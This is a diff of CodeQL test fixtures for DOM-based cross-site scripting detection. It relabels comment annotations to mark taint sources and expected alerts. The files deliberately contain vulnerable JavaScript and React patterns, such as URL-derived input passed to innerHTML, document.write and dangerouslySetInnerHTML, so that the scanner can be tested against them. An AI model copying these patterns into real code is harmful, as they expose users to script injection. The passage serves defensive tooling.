@@ -4,10 +4,9 @@ import jwt from "jsonwebtoken";
 
 import { JSDOM } from "jsdom";
 app.get('/some/path', function (req, res) {
-    var taint = req.param("wobble");
+    var taint = req.param("wobble"); // $ Source
 
     jwt.verify(taint, 'my-secret-key', function (err, decoded) {
-        // NOT OK
-        new JSDOM(decoded.foo, { runScripts: "dangerously" });
+        new JSDOM(decoded.foo, { runScripts: "dangerously" }); // $ Alert
     });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt.js
index 7ead302724c3..59e96cb9d11e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt.js
@@ -3,5 +3,5 @@ import $ from "jquery"
 
 $.post(loginUrl(), {data: "foo"}, (data, xhr) => {
     var decoded = jwt_decode(data);
-    $.jGrowl(decoded); // NOT OK - but only flagged with additional sources [INCONSISTENCY]
+    $.jGrowl(decoded); // $ MISSING: Alert - only flagged with additional sources
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/nodemailer.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/nodemailer.js
index 9091f93be7bb..f1fceadbf057 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/nodemailer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/nodemailer.js
@@ -9,7 +9,7 @@ app.post('/private_message', (req, res) => {
     from: 'webmaster@example.com',
     to: backend.getUserEmail(req.query.receiver),
     subject: 'Private message',
-    text: `Hi, you got a message from someone. ${req.query.message}.`, // OK
-    html: `Hi, you got a message from someone. ${req.query.message}.`, // NOT OK
+    text: `Hi, you got a message from someone. ${req.query.message}.`,
+    html: `Hi, you got a message from someone. ${req.query.message}.`, // $ Alert
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/optionalSanitizer.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/optionalSanitizer.js
index e8139936bc78..73088a45b5ef 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/optionalSanitizer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/optionalSanitizer.js
@@ -1,46 +1,46 @@
 function test() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
-  $('myId').html(sanitize ? DOMPurify.sanitize(target) : target); // OK
+  $('myId').html(sanitize ? DOMPurify.sanitize(target) : target);
 
-  $('myId').html(target); // NOT OK
+  $('myId').html(target); // $ Alert
 
   var tainted = target;
-  $('myId').html(tainted); // NOT OK
+  $('myId').html(tainted); // $ Alert
   if (sanitize) {
     tainted = DOMPurify.sanitize(tainted);
   }
-  $('myId').html(tainted); // OK
+  $('myId').html(tainted);
 
   inner(target);
   function inner(x) {
-    $('myId').html(x); // NOT OK
+    $('myId').html(x); // $ Alert
     if (sanitize) {
       x = DOMPurify.sanitize(x);
     }
-    $('myId').html(x); // OK
+    $('myId').html(x);
   }
 }
 
 function badSanitizer() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
   function sanitizeBad(x) {
     return x; // No sanitization;
   }
   var tainted2 = target;
-  $('myId').html(tainted2); // NOT OK
+  $('myId').html(tainted2); // $ Alert
   if (sanitize) {
     tainted2 = sanitizeBad(tainted2);
   }
-  $('myId').html(tainted2); // NOT OK
+  $('myId').html(tainted2); // $ Alert
 
   var tainted3 = target;
-  $('myId').html(tainted3); // NOT OK
+  $('myId').html(tainted3); // $ Alert
   if (sanitize) {
     tainted3 = sanitizeBad(tainted3);
   }
-  $('myId').html(tainted3); // NOT OK
+  $('myId').html(tainted3); // $ Alert
 
-  $('myId').html(sanitize ? sanitizeBad(target) : target); // NOT OK
+  $('myId').html(sanitize ? sanitizeBad(target) : target); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/pages/[id].jsx b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/pages/[id].jsx
index 66b7d65f669b..69f66f07aa44 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/pages/[id].jsx
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/pages/[id].jsx
@@ -2,18 +2,18 @@ import { useRouter } from 'next/router'
 
 export default function Post(params) {
   const router = useRouter()
-  const { id } = router.query
+  const { id } = router.query // $ Source
 
   return (
     <>
       <div
-        dangerouslySetInnerHTML={{ __html: id }} // NOT OK
+        dangerouslySetInnerHTML={{ __html: id }} // $ Alert
       />
       <div
-        dangerouslySetInnerHTML={{ __html: params.id }} // NOT OK
+        dangerouslySetInnerHTML={{ __html: params.id }} // $ Alert
       />
       <div
-        dangerouslySetInnerHTML={{ __html: params.q }} // NOT OK
+        dangerouslySetInnerHTML={{ __html: params.q }} // $ Alert
       />
     </>
   )
@@ -22,8 +22,8 @@ export default function Post(params) {
 export async function getServerSideProps(context) {
   return {
     props: {
-      id: context.params.id || "",
-      q: context.query?.foobar || "",
+      id: context.params.id || "", // $ Source
+      q: context.query?.foobar || "", // $ Source
     }
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-native.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-native.js
index 318007dacfa0..432c9910a2d7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-native.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-native.js
@@ -4,7 +4,7 @@ import { WebView } from 'react-native';
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  let tainted = req.param("code");
-  <WebView html={tainted}/>;            // NOT OK
-  <WebView source={{html: tainted}}/>;  // NOT OK
+  let tainted = req.param("code"); // $ Source
+  <WebView html={tainted}/>;            // $ Alert
+  <WebView source={{html: tainted}}/>;  // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-context.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-context.js
index 6d7e20ec6eb8..3811c6b2c964 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-context.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-context.js
@@ -7,13 +7,13 @@ function useMyContext() {
 
 export function useDoc1() {
     let { root } = useMyContext();
-    root.appendChild(window.name); // NOT OK
+    root.appendChild(window.name); // $ Alert
 }
 
 class C extends Component {
     foo() {
         let { root } = this.context;
-        root.appendChild(window.name); // NOT OK
+        root.appendChild(window.name); // $ Alert
     }
 }
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-router.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-router.js
index 49d66634e5af..472f2026f1db 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-router.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-router.js
@@ -5,13 +5,13 @@ export function nextRouter() {
   return (
     <div>
       <span onClick={() => {
-        router.push(router.query.foobar) // NOT OK
+        router.push(router.query.foobar) // $ Alert
       }}>Click to XSS 1</span>
       <span onClick={() => {
-        router.replace(router.query.foobar) // NOT OK
+        router.replace(router.query.foobar) // $ Alert
       }}>Click to XSS 2</span>
       <span onClick={() => {
-        router.push('/?foobar=' + router.query.foobar) // OK
+        router.push('/?foobar=' + router.query.foobar)
       }}>Safe Link</span>
     </div>
   )
@@ -20,7 +20,7 @@ export function nextRouter() {
 import { withRouter } from 'next/router'
 
 function Page({ router }) {
-  return <span onClick={() => router.push(router.query.foobar)}>Click to XSS 3</span> // NOT OK
+  return <span onClick={() => router.push(router.query.foobar)}>Click to XSS 3</span> // $ Alert
 }
 export const pageWithRouter = withRouter(Page);
 
@@ -30,7 +30,7 @@ export function nextRouterWithLib() {
   return (
     <div>
       <span onClick={() => {
-        router.push(router.query.foobar) // NOT OK
+        router.push(router.query.foobar) // $ Alert
       }}>Click to XSS 1</span>
     </div>
   )
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-state.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-state.js
index 672cd3bd6898..2dbc2feb38fa 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-state.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/react-use-state.js
@@ -1,33 +1,33 @@
 import { useState } from 'react';
 
 function initialState() {
-    let [state, setState] = useState(window.name);
-    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // NOT OK
+    let [state, setState] = useState(window.name); // $ Source
+    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // $ Alert
 }
 
 function setStateValue() {
     let [state, setState] = useState('foo');
-    setState(window.name);
-    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // NOT OK
+    setState(window.name); // $ Source
+    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // $ Alert
 }
 
 function setStateValueLazy() {
     let [state, setState] = useState('foo');
-    setState(() => window.name);
-    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // NOT OK
+    setState(() => window.name); // $ Source
+    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // $ Alert
 }
 
 function setStateValueLazy() {
     let [state, setState] = useState('foo');
     setState(prev => {
-        document.body.innerHTML = prev; // NOT OK
+        document.body.innerHTML = prev; // $ Alert
     })
-    setState(() => window.name);
+    setState(() => window.name); // $ Source
 }
 
 function setStateValueSafe() {
     let [state, setState] = useState('foo');
     setState('safe');
     setState(() => 'also safe');
-    return <div dangerouslySetInnerHTML={{__html: state}}></div>; // OK
+    return <div dangerouslySetInnerHTML={{__html: state}}></div>;
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/sanitiser.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/sanitiser.js
index 9d9fe6c80c97..52ad850e0185 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/sanitiser.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/sanitiser.js
@@ -13,37 +13,37 @@ function escapeAttr(s) {
 }
 
 function test() {
-  var tainted = window.name;
+  var tainted = window.name; // $ Source
   var elt = document.createElement();
-  elt.innerHTML = "<a href=\"" + escapeAttr(tainted) + "\">" + escapeHtml(tainted) + "</a>"; // OK
-  elt.innerHTML = "<div>" + escapeAttr(tainted) + "</div>"; // NOT OK, but not flagged - [INCONSISTENCY]
+  elt.innerHTML = "<a href=\"" + escapeAttr(tainted) + "\">" + escapeHtml(tainted) + "</a>";
+  elt.innerHTML = "<div>" + escapeAttr(tainted) + "</div>"; // $ MISSING: Alert - not flagged -
 
   const regex = /[<>'"&]/;
   if (regex.test(tainted)) {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // NOT OK
+    elt.innerHTML = '<b>' + tainted + '</b>'; // $ Alert
   } else {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // OK
+    elt.innerHTML = '<b>' + tainted + '</b>';
   }
   if (!regex.test(tainted)) {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // OK
+    elt.innerHTML = '<b>' + tainted + '</b>';
   } else {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // NOT OK
+    elt.innerHTML = '<b>' + tainted + '</b>'; // $ Alert
   }
   if (regex.exec(tainted)) {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // NOT OK
+    elt.innerHTML = '<b>' + tainted + '</b>'; // $ Alert
   } else {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // OK
+    elt.innerHTML = '<b>' + tainted + '</b>';
   }
   if (regex.exec(tainted) != null) {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // NOT OK
+    elt.innerHTML = '<b>' + tainted + '</b>'; // $ Alert
   } else {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // OK
+    elt.innerHTML = '<b>' + tainted + '</b>';
   }
   if (regex.exec(tainted) == null) {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // OK
+    elt.innerHTML = '<b>' + tainted + '</b>';
   } else {
-    elt.innerHTML = '<b>' + tainted + '</b>'; // NOT OK
+    elt.innerHTML = '<b>' + tainted + '</b>'; // $ Alert
   }
 
-  elt.innerHTML = tainted.replace(/<\w+/g, ''); // NOT OK
+  elt.innerHTML = tainted.replace(/<\w+/g, ''); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/stored-xss.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/stored-xss.js
index 6c13ae8cc3e2..aadec44a9dfb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/stored-xss.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/stored-xss.js
@@ -1,30 +1,30 @@
 (function() {
-    sessionStorage.setItem('session', document.location.search);
-    localStorage.setItem('local', document.location.search);
+    sessionStorage.setItem('session', document.location.search); // $ Source
+    localStorage.setItem('local', document.location.search); // $ Source
 
-    $('myId').html(sessionStorage.getItem('session')); // NOT OK
-    $('myId').html(localStorage.getItem('session')); // OK
-    $('myId').html(sessionStorage.getItem('local')); // OK
-    $('myId').html(localStorage.getItem('local')); // NOT OK
+    $('myId').html(sessionStorage.getItem('session')); // $ Alert
+    $('myId').html(localStorage.getItem('session'));
+    $('myId').html(sessionStorage.getItem('local'));
+    $('myId').html(localStorage.getItem('local')); // $ Alert
 
     var href = localStorage.getItem('local');
 
-    $('myId').html("<a href=\"" + href + ">foobar</a>"); // NOT OK
+    $('myId').html("<a href=\"" + href + ">foobar</a>"); // $ Alert
 
     if (href.indexOf("\"") !== -1) {
         return;
     }
-    $('myId').html("<a href=\"" + href + "/>"); // OK
+    $('myId').html("<a href=\"" + href + "/>");
 
     var href2 = localStorage.getItem('local');
     if (href2.indexOf("\"") !== -1) {
         return;
     }
-    $('myId').html("\n<a href=\"" + href2 + ">foobar</a>"); // OK
+    $('myId').html("\n<a href=\"" + href2 + ">foobar</a>");
 
     var href3 = localStorage.getItem('local');
     if (href3.indexOf("\"") !== -1) {
         return;
     }
-    $('myId').html('\r\n<a href="/' + href3 + '">' + "something" + '</a>'); // OK
+    $('myId').html('\r\n<a href="/' + href3 + '">' + "something" + '</a>');
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/string-manipulations.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/string-manipulations.js
index 91e122dee0f5..895970f2b735 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/string-manipulations.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/string-manipulations.js
@@ -1,12 +1,12 @@
-document.write(document.location.href.charCodeAt(0)); // OK
+document.write(document.location.href.charCodeAt(0));
 
-document.write(document.location); // NOT OK
-document.write(document.location.href); // NOT OK
-document.write(document.location.href.valueOf()); // NOT OK
-document.write(document.location.href.sup()); // NOT OK
-document.write(document.location.href.toUpperCase()); // NOT OK
-document.write(document.location.href.trimLeft()); // NOT OK
-document.write(String.fromCharCode(document.location.href)); // NOT OK
-document.write(String(document.location.href)); // NOT OK
-document.write(escape(document.location.href)); // OK (for now)
-document.write(escape(escape(escape(document.location.href)))); // OK (for now)
+document.write(document.location); // $ Alert
+document.write(document.location.href); // $ Alert
+document.write(document.location.href.valueOf()); // $ Alert
+document.write(document.location.href.sup()); // $ Alert
+document.write(document.location.href.toUpperCase()); // $ Alert
+document.write(document.location.href.trimLeft()); // $ Alert
+document.write(String.fromCharCode(document.location.href)); // $ Alert
+document.write(String(document.location.href)); // $ Alert
+document.write(escape(document.location.href));
+document.write(escape(escape(escape(document.location.href))));
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tainted-url-suffix-arguments.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tainted-url-suffix-arguments.js
index a1feef0267a0..7b0e5c4be3a0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tainted-url-suffix-arguments.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tainted-url-suffix-arguments.js
@@ -2,12 +2,12 @@ import 'dummy';
 
 function foo(x, y, z) {
     arguments; // ensure 'arguments' are used
-    document.writeln(x); // OK
-    document.writeln(y); // NOT OK
-    document.writeln(z); // OK
+    document.writeln(x);
+    document.writeln(y); // $ Alert
+    document.writeln(z);
 }
 
 function bar() {
-    const url = window.location.href;
+    const url = window.location.href; // $ Source
     foo('safe', url, 'safe');
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tooltip.jsx b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tooltip.jsx
index d030b30b1390..7675513734da 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tooltip.jsx
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tooltip.jsx
@@ -3,22 +3,22 @@ import ReactDOM from 'react-dom';
 import ReactTooltip from 'react-tooltip';
 
 function tooltips() {
-    const source = window.name;
+    const source = window.name; // $ Source
     return <span>
-        <span data-tip={source}/> // OK
-        <span data-tip={source} data-html={false} /> // OK
-        <span data-tip={source} data-html="true" /> // NOT OK
-        <span data-tip={source} data-html={true} /> // NOT OK
+        <span data-tip={source}/>
+        <span data-tip={source} data-html={false} />
+        <span data-tip={source} data-html="true" /> { /* $ Alert */ }
+        <span data-tip={source} data-html={true} /> { /* $ Alert */ }
         <ReactTooltip />
     </span>
 }
 
 function MyElement(props) {
     const provide = props.provide;
-    return <div dangerouslySetInnerHTML={{__html: provide()}} />; // NOT OK
+    return <div dangerouslySetInnerHTML={{__html: provide()}} />; // $ Alert
 }
 
 function useMyElement() {
-    const source = window.name;
+    const source = window.name; // $ Source
     return <MyElement provide={() => source} />;
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/translate.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/translate.js
index 43ab0a02cf27..11adc4399376 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/translate.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/translate.js
@@ -3,10 +3,9 @@
     "own goal": "backpass",
     "fumble": "feint"
   };
-  var target = document.location.search
+  var target = document.location.search // $ Source
   var searchParams = new URLSearchParams(target.substring(1));
-  // NOT OK
-  $('original-term').html(searchParams.get('term'));
-  // OK
+  $('original-term').html(searchParams.get('term')); // $ Alert
+
   $('translated-term').html(translate[searchParams.get('term')]);
 })();
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types-lib.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types-lib.js
index 75137f7de5ce..61a272dffe1a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types-lib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types-lib.js
@@ -1,3 +1,3 @@
 export function createHtml(x) {
-    return x;
+    return x; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types.js
index 7702768d6039..247fbe3315fb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/trusted-types.js
@@ -1,13 +1,13 @@
 import * as lib from './trusted-types-lib';
 
-const policy1 = trustedTypes.createPolicy('x', { createHTML: x => x }); // NOT OK
-policy1.createHTML(window.name);
+const policy1 = trustedTypes.createPolicy('x', { createHTML: x => x }); // $ Alert
+policy1.createHTML(window.name); // $ Source
 
-const policy2 = trustedTypes.createPolicy('x', { createHTML: x => 'safe' }); // OK
+const policy2 = trustedTypes.createPolicy('x', { createHTML: x => 'safe' });
 policy2.createHTML(window.name);
 
-const policy3 = trustedTypes.createPolicy('x', { createHTML: x => x }); // OK
+const policy3 = trustedTypes.createPolicy('x', { createHTML: x => x });
 policy3.createHTML('safe');
 
 const policy4 = trustedTypes.createPolicy('x', { createHTML: lib.createHtml });
-policy4.createHTML(window.name);
+policy4.createHTML(window.name); // $ Source
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst.js
index fea2063a4e3a..0ecc2535272d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/tst.js
@@ -1,172 +1,156 @@
 function test() {
-  var target = document.location.search
+  var target = document.location.search // $ Source
 
-  // NOT OK
-  $('myId').html(target)
+  $('myId').html(target) // $ Alert
 
-  // NOT OK
-  document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
+  document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); // $ Alert
   document.write("<OPTION value=2>English</OPTION>");
 
-  // NOT OK
-  $('<div style="width:' + target + 'px">');
+  $('<div style="width:' + target + 'px">'); // $ Alert
 
-  $('<div style="width:' + +target + 'px">'); // OK
-  $('<div style="width:' + parseInt(target) + 'px">'); // OK
+  $('<div style="width:' + +target + 'px">');
+  $('<div style="width:' + parseInt(target) + 'px">');
 
-  let params = (new URL(document.location)).searchParams;
-  $('name').html(params.get('name'));  // NOT OK
+  let params = (new URL(document.location)).searchParams; // $ Source
+  $('name').html(params.get('name'));  // $ Alert
 
   var searchParams = new URLSearchParams(target.substring(1));
-  $('name').html(searchParams.get('name')); // NOT OK
+  $('name').html(searchParams.get('name')); // $ Alert
 }
 
 function foo(target) {
- // NOT OK
-  $('myId').html(target);
+  $('myId').html(target); // $ Alert
 }
-foo(document.location.search);
+foo(document.location.search); // $ Source
 
 function bar() {
-  return document.location.search;
+  return document.location.search; // $ Source
 }
-// NOT OK
-$('myId').html(bar());
+$('myId').html(bar()); // $ Alert
 
 function baz(x) {
   return x;
 }
-// NOT OK
-$('myId').html(baz(document.location.search));
+$('myId').html(baz(document.location.search)); // $ Alert
 
 function wrap(s) {
   return "<div>" + s + "</div>";
 }
-// NOT OK
-$('myId').html(wrap(document.location.search));
+$('myId').html(wrap(document.location.search)); // $ Alert
 
 function chop(s) {
   if (s)
     return s.substr(1);
   return "";
 }
-// NOT OK
-$('myId').html(chop(document.location.search));
-// NOT OK (duplicated to test precision of flow tracking)
-$('myId').html(chop(document.location.search));
-// NOT OK
-$('myId').html(wrap(chop(bar())));
+$('myId').html(chop(document.location.search)); // $ Alert
+$('myId').html(chop(document.location.search)); // $ Alert - duplicated to test precision of flow tracking
+$('myId').html(wrap(chop(bar()))); // $ Alert
 
 function dangerouslySetInnerHtml(s) {
-  // NOT OK
-  $('myId').html(s);
+  $('myId').html(s); // $ Alert
 }
-dangerouslySetInnerHtml(document.location.search);
-dangerouslySetInnerHtml(document.location.search);
+dangerouslySetInnerHtml(document.location.search); // $ Source
+dangerouslySetInnerHtml(document.location.search); // $ Source
 
-// NOT OK
-$('myId').html(bar());
+$('myId').html(bar()); // $ Alert
 
-[,document.location.search].forEach(function(x) {
+[,document.location.search].forEach(function(x) { // $ Source
   if (x)
-    // NOT OK
-    $('myId').html(x);
+    $('myId').html(x); // $ Alert
 });
 
-// NOT OK
-let s = <span dangerouslySetInnerHTML={{__html: document.location.search}}/>;
+let s = <span dangerouslySetInnerHTML={{__html: document.location.search}}/>; // $ Alert
 
 angular.module('myApp', [])
     .service("myService", function($sce, $other) {
-        $sce.trustAsHtml(document.location.search); // NOT OK
-        $sce.trustAsCss(document.location.search); // NOT OK
-        $sce.trustAsUNKNOWN(document.location.search); // OK
-        $sce.trustAs($sce.HTML, document.location.search); // NOT OK
-        $sce.trustAs($sce.CSS, document.location.search); // NOT OK
-        $sce.trustAs(UNKNOWN, document.location.search); // OK
-        $other.trustAsHtml(document.location.search); // OK
+        $sce.trustAsHtml(document.location.search); // $ Alert
+        $sce.trustAsCss(document.location.search); // $ Alert
+        $sce.trustAsUNKNOWN(document.location.search);
+        $sce.trustAs($sce.HTML, document.location.search); // $ Alert
+        $sce.trustAs($sce.CSS, document.location.search); // $ Alert
+        $sce.trustAs(UNKNOWN, document.location.search);
+        $other.trustAsHtml(document.location.search);
     })
     .service("myService2", function() {
-        angular.element('<div>').html(document.location.search); // NOT OK
-        angular.element('<div>').html('SAFE'); // OK
+        angular.element('<div>').html(document.location.search); // $ Alert
+        angular.element('<div>').html('SAFE');
     })
     .directive('myCustomer', function() {
         return {
             link: function(scope, element){
-                element.html(document.location.search); // NOT OK
-                element.html('SAFE'); // OK
+                element.html(document.location.search); // $ Alert
+                element.html('SAFE');
             }
         };
     })
     .service("myService3", function() {
-        angular.element(document.location.search); // NOT OK
-        angular.element('SAFE'); // OK
+        angular.element(document.location.search); // $ Alert
+        angular.element('SAFE');
     })
 
 function tst() {
-  var v = document.location.search.substr(1);
+  var v = document.location.search.substr(1); // $ Source
 
-  // NOT OK
-  document.write(v);
+  document.write(v); // $ Alert
 
   if (/^\d+$/.test(v)) {
-    // OK
+
     document.write(v);
   }
 
   if ((m = /^\d+$/.exec(v))) {
-    // OK
+
     document.write(v);
   }
 
   if (v.match(/^\d+$/)) {
-      // OK
+
       document.write(v);
   }
 
   if (v.match("^\\d+$")) {
-      // OK
+
       document.write(v);
   }
 
   if (!(/\d+/.test(v))) // not effective - matches "123<script>...</script>"
     return;
 
-  // NOT OK
-  document.write(v);
+  document.write(v); // $ Alert
 
   if (!(/^\d+$/.test(v)))
     return;
 
-  // OK
+
   document.write(v);
 }
 
 function angularJSServices() {
     angular.module('myApp', [])
         .factory("xssSource_to_service", ["xssSinkService1", function(xssSinkService1) {
-            xssSinkService1(window.location.search);
+            xssSinkService1(window.location.search); // $ Source
         }])
         .factory("xssSinkService1", function(){
-            return function(v){ $("<div>").html(v); } // NOT OK
+            return function(v){ $("<div>").html(v); } // $ Alert
         })
 
         .factory("xssSource_from_service", ["xssSourceService", function(xssSourceService){
-            $("<div>").html(xssSourceService()); // NOT OK
+            $("<div>").html(xssSourceService()); // $ Alert
         }])
         .factory("xssSourceService", function(){
-            return function() { return window.location.search };
+            return function() { return window.location.search }; // $ Source
         })
 
         .factory("innocentSource_to_service", ["xssSinkService2", function(xssSinkService2) {
             xssSinkService2("innocent");
         }])
         .factory("xssSinkService2", function(){
-            return function(v){ $("<div>").html(v); } // OK
+            return function(v){ $("<div>").html(v); }
         })
 
         .factory("innocentSource_from_service", ["innocentSourceService", function(innocentSourceService){
-            $("<div>").html(innocentSourceService()); // OK
+            $("<div>").html(innocentSourceService());
         }])
         .factory("innocentSourceService", function(){
             return function() { return "innocent" };
@@ -174,30 +158,30 @@ function angularJSServices() {
 }
 
 function testDOMParser() {
-    var target = document.location.search
+    var target = document.location.search // $ Source
 
     var parser = new DOMParser();
-    parser.parseFromString(target, "application/xml"); // NOT OK
+    parser.parseFromString(target, "application/xml"); // $ Alert
 }
 
 function references() {
-    var tainted = document.location.search;
+    var tainted = document.location.search; // $ Source
 
-    document.body.innerHTML = tainted; // NOT OK
+    document.body.innerHTML = tainted; // $ Alert
 
-    document.createElement().innerHTML = tainted; // NOT OK
-    createElement().innerHTML = tainted; // NOT OK
+    document.createElement().innerHTML = tainted; // $ Alert
+    createElement().innerHTML = tainted; // $ Alert
 
-    document.getElementsByClassName()[0].innerHTML = tainted; // NOT OK
-    getElementsByClassName()[0].innerHTML = tainted; // NOT OK
-    getElementsByClassName().item().innerHTML = tainted; // NOT OK
+    document.getElementsByClassName()[0].innerHTML = tainted; // $ Alert
+    getElementsByClassName()[0].innerHTML = tainted; // $ Alert
+    getElementsByClassName().item().innerHTML = tainted; // $ Alert
 }
 
 function react(){
-    var tainted = document.location.search;
+    var tainted = document.location.search; // $ Source
 
-    React.createElement("div", {dangerouslySetInnerHTML: {__html: tainted}}); // NOT OK
-    React.createFactory("div")({dangerouslySetInnerHTML: {__html: tainted}}); // NOT OK
+    React.createElement("div", {dangerouslySetInnerHTML: {__html: tainted}}); // $ Alert
+    React.createFactory("div")({dangerouslySetInnerHTML: {__html: tainted}}); // $ Alert
 
     class C1 extends React.Component {
         constructor() {
@@ -209,26 +193,26 @@ function react(){
         }
 
         test() {
-            $('myId').html(this.state.tainted1); // NOT OK
-            $('myId').html(this.state.tainted2); // NOT OK
-            $('myId').html(this.state.tainted3); // NOT OK
-            $('myId').html(this.state.notTainted); // OK
+            $('myId').html(this.state.tainted1); // $ Alert
+            $('myId').html(this.state.tainted2); // $ Alert
+            $('myId').html(this.state.tainted3); // $ Alert
+            $('myId').html(this.state.notTainted);
 
             this.setState(prevState => {
-                $('myId').html(prevState.tainted4) // NOT OK
+                $('myId').html(prevState.tainted4) // $ Alert
             });
         }
     }
 
     class C2 extends React.Component {
         test() {
-            $('myId').html(this.props.tainted1); // NOT OK
-            $('myId').html(this.props.tainted2); // NOT OK
-            $('myId').html(this.props.tainted3); // NOT OK
-            $('myId').html(this.props.notTainted); // OK
+            $('myId').html(this.props.tainted1); // $ Alert
+            $('myId').html(this.props.tainted2); // $ Alert
+            $('myId').html(this.props.tainted3); // $ Alert
+            $('myId').html(this.props.notTainted);
 
             this.setState((prevState, prevProps) => {
-                $('myId').html(prevProps.tainted4) // NOT OK
+                $('myId').html(prevProps.tainted4) // $ Alert
             });
         }
     }
@@ -248,7 +232,7 @@ function react(){
         }
 
         render() {
